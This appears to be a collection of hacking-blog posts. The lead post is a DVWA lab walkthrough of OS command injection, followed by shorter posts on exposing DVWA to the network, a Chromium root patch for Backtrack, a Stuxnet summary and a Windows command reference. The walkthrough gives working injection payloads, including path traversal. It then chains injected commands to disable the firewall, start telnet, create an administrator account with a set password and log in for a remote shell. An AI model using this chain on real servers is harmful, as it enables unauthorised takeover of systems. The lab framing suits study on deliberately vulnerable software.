Command Execution Vulnerability Exploitation

Today i will be showing how to hack the website with the command execution vulnerability.

we will be see this on the DVWA

What is Command Execution ?

OS command injection is a technique used via a web interface in order to execute OS commands on a web server.

The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.

*** In the previous article i written how to access the dvwa from the backtrack that is installed in XP machine

Practical:

1.Take XP machine and the Backtrack Machine

2.Enter the ip of the XP machine and the dvwa

http://192.168.25.54/dvwa

the dvwa will open and go to command execution

3.The DVWA website asked to enter the IP to ping

so enter the 127.0.0.1(Your IP)

its pingging so its cool ..

4.Now try to execute the dir command ..

boom.......

got an error whats the problem ..

it only allows you to execute the ping command not any other then

how to bypass this

we can bypass this by using && or |(pipe) symbol

5. Now lets try this command

127.0.0.1 && dir  ( or)

127.0.0.1 | dir   ( or)

 | dir

means just pipe and command

ok its executed, now try to find the ip of remote system

127.0.0.1 | ifconfig

Now if u want to find the files in the system32 directory then

127.0.0.1 && cd ../../../../../windows/system32 & dir

Now you can access what ever files you require from the system

What else we can do with Command Execution

Normally i am executing the command like this

| dir

but after this i want to take shell of the remote computer, we are having different ways i am showing one

1.so what i do is i disabled the firewall by executing the windows commands

To disable the windows XP firewall

    netsh firewall set opmode disable

In your command execution type as "| netsh firewall set opmode disable" (without quotes)
   
To enable the windows XP firewall

    netsh firewall set opmode enable
   
2. After that i want to start the service which is help ful for me, so i started the TELNET service by using the following commands

To start the TELNET service from command prompt

    sc config tlntsvr start= auto (Hit Enter)

    net start telnet

In your command execution type as "| sc config tlntsvr start= auto" (without quotes)

    | net start telnet

3.so i want to access the remote PC with the help of Telnet but it will ask the login and password

so i added 1 user from cmd prompt only

To add new user from command prompt

    net user /add user1 Ab12345

In your command execution type as "| net user /add user1 Ab12345" (without quotes)

4.Now i am the user but not having prievilages to access the telnet so thats why i added this user to the Administrators group for admin prievilages

    net localgroup administrators user1 /add

In your command execution type as "| net localgroup administrators user1 /add" (without quotes)   

5.I started a terminal in the backtrack and try to connect with the telnet

After that now i connected with the telnet

    telnet 192.168.x.x
   
    login:user1
    password:Ab12345

Boooooooooooooooom...............
   
Got the shell of the remote computer

    c:\>

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Access DVWA from Backtrack

Hi,

Today i will show you, How to access the DVWA(Damn Vulnerable Web Application) that is installed on the xp machine from the backtrack

1.First we require the XP machine and Backtrack machine in same network means

if the XP machine ip is 192.168.0.22

then backtrack should also be in the same network like 192.168.0.56

2.Install the XAMPP in the XP macine and start the services like Apache and Mysql

3. Download the DVWA(Damn Vulnerable Web Application) from http://sourceforge.net/projects/dvwa/  and paste in the c:/xampp/htdocs/

4. Now go to the dvwa folder and open the .htaccess file with notepad

5.Move to last and place a hash(#) before the "Deny from all"

and write "Allow from all in the next line"

6.Now go to the backtrack and in the browser type the ip of XP machine

http://192.168.0.22/dvwa

7.now you can access the dvwa easily as from remote

Thank You.

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Installing Google Chrome in Backtrack 5

Friends ,

Many asking how to install the Google chrome browser in the backtrack 5, today we will be seeing how to install that



Let us see the steps

1.In the root type as

apt-get install chromium-browser

2.change to chrome-browser directory

 cd /usr/lib/chromium-browser

3.Type the following command

 hexedit chromium-browser

4.You will be getting the hex-code ,

Here you have to search for geteuid and replace with getppid


press TAB and search (CTRL+S) for geteuid and change it to getppid and press CTRL+X ,

it will ask to save or not press 'Y' and close the terminal

and go to the Applications --> Internet --> Chromium Browser

and check whether the browser installed properly or not and enjoy the Backtrack.

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Stuxnet

Stuxnet --

Stuxnet is an Computer Worm discovered in the year of June 2010, that is initially spreading via windows machines and targeting the Siemens Systems. it is the first discovered malware that spies on and subverts industrial systems, and the first to include a programmable logic controller (PLC) rootkit.

The worm will spread very fastly and it is mainly target to the Siemens SCADA(supervisory control and data acquisition) Systems that are configured to control and monitor specific industrial processes. It mainly infects the PLC in the SCADA Systems.

when security Expers find to try the sources of the Stuxnet they found that the some sources are in belaraus and the spreading of worm is mostly in Iran i.e..more than 60 % and it mainly infects the iran nuclear program, which uses embargoed Siemens equipment procured secretly, has been damaged by Stuxnet.

The affected countries

Iran - 58.8%
India - 8 %
USA - 1%

The worm itself now appears to have included two major components. One was designed to send Iran’s nuclear centrifuges spinning wildly out of control. Another seems right out of the movies: The computer program also secretly recorded what normal operations at the nuclear plant looked like, then played those readings back to plant operators, like a pre-recorded security tape in a bank heist, so that it would appear that everything was operating normally while the centrifuges were actually tearing themselves apart

About two years ago, centrifuges at Iran’s uranium enrichment facility at Natanz started failing at a suspicious rate. Iran eventually admitted that computer code created problems for their centrifuges, but downplayed any lasting damage. Computer security experts said it was the handiwork of the Stuxnet code, and that it destroyed more than 1,000 centrifuges. Many believe the U.S., in conjunction with Israel, sabotaged the system.

Ralph Langner, a well-respected expert on industrial systems security, published an analysis of the worm, which targets Siemens software systems, and suggested that it may have been used to sabotage Iran's Bushehr nuclear reactor. A Siemens expert, Langner simulated a Siemens industrial network and then analyzed the worm's attack.

See Stuxnet: a Good Idea

on 1 september 2011 security experts found an virus related to the family of stuxnet and they call it as 'DUQU' . it is designed to capture information like keystrokes and system information.

Read more...

Basic Commands for Windows

Hello Friends,

for all your reference i am placing some basic windows commands.

Quote:
compmgmt.msc - Computer management
devmgmt.msc - Device manager
diskmgmt.msc - Disk management
dfrg.msc - Disk defrag
eventvwr.msc - Event viewer
fsmgmt.msc - Shared folders
gpedit.msc - Group policies
lusrmgr.msc - Local users and groups
perfmon.msc - Performance monitor
rsop.msc - Resultant set of policies
secpol.msc - Local security settings
services.msc - Various Services
msconfig - System Configuration Utility
regedit - Registry Editor
msinfo32 _ System Information
sysedit _ System Edit
win.ini _ windows loading information(also system.ini)
winver _ Shows current version of windows
mailto: _ Opens default email client
command _ Opens command prompt


Run Commands to access the control panel:[b]

Quote:

Add/Remove Programs control appwiz.cpl
Date/Time Properties control timedate.cpl
Display Properties control desk.cpl
FindFast control findfast.cpl
Fonts Folder control fonts
Internet Properties control inetcpl.cpl
Keyboard Properties control main.cpl keyboard
Mouse Properties control main.cpl
Multimedia Properties control mmsys.cpl
Network Properties control netcpl.cpl
Password Properties control password.cpl
Printers Folder control printers
Sound Properties control mmsys.cpl sounds
System Properties control sysdm.cpl


A
------------------------------------------------------
ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
AT Schedule a command to run at a later time
ATTRIB Change file attributes

B
------------------------------------------------------
BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info

C
------------------------------------------------------
CACLS Change file permissions
CALL Call one batch program from another
CD Change Directory - move to a specific Folder
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colors of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS
COPY Copy one or more files to another location
CSCcmd Client-side caching (Offline Files)
CSVDE Import or Export Active Directory data

D
------------------------------------------------------
DATE Display or set the date
DEFRAG Defragment hard drive
DEL Delete one or more files
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DISKPART Disk Administration
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory
DSRM Remove items from Active Directory

E
------------------------------------------------------
ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EXIT Quit the current script/routine and set an errorlevel
EXPAND Uncompress files
EXTRACT Uncompress CAB files

F
------------------------------------------------------
FC Compare two files
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR /F Loop command: against a set of files
FOR /F Loop command: against the results of another command
FOR Loop command: all options Files, Directory, List
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations

G
------------------------------------------------------
GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line

H
------------------------------------------------------
HELP Online Help

I
------------------------------------------------------
iCACLS Change file and folder permissions
IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP

K
------------------------------------------------------
KILL Remove a program from memory

L
------------------------------------------------------
LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer
LOGOFF Log a user off
LOGTIME Log the date and time in a file

M
------------------------------------------------------
MAPISEND Send email from the command line
MBSAcli Baseline Security Analyzer
MEM Display memory usage
MD Create new folders
MKLINK Create a symbolic link (linkd)
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files

N
------------------------------------------------------
NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights

P
------------------------------------------------------
PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHD
PORTQRY Display the status of ports and services
POWERCFG Configure power settings
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHD Save and then change the current directory

Q
------------------------------------------------------
QGREP Search file(s) for lines that match a given pattern

R
------------------------------------------------------
RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk
REG Registry: Read, Set, Export, Delete keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files
REPLACE Replace or update one file with another
RD Delete folder(s)
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)

S
------------------------------------------------------
SC Service Control
SCHTASKS Create or Edit Scheduled Tasks
SCLIST Display NT Services
SET Display, set, or remove environment variables
SETLOCAL Control the visibility of environment variables
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SLMGR Software Licensing Management (Vista/2008)
SOON Schedule a command to run in the near future
SORT Sort input
START Start a program or command in a separate window
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration

T
------------------------------------------------------
TASKLIST List running applications and services
TASKKILL Remove a running process from memory
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TLIST Task list with full path
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file

U
------------------------------------------------------
USRSTAT List domain usernames and last login

V
------------------------------------------------------
VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label

W
------------------------------------------------------
WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands

X
------------------------------------------------------
XCACLS Change file and folder permissions
XCOPY Copy files and folders

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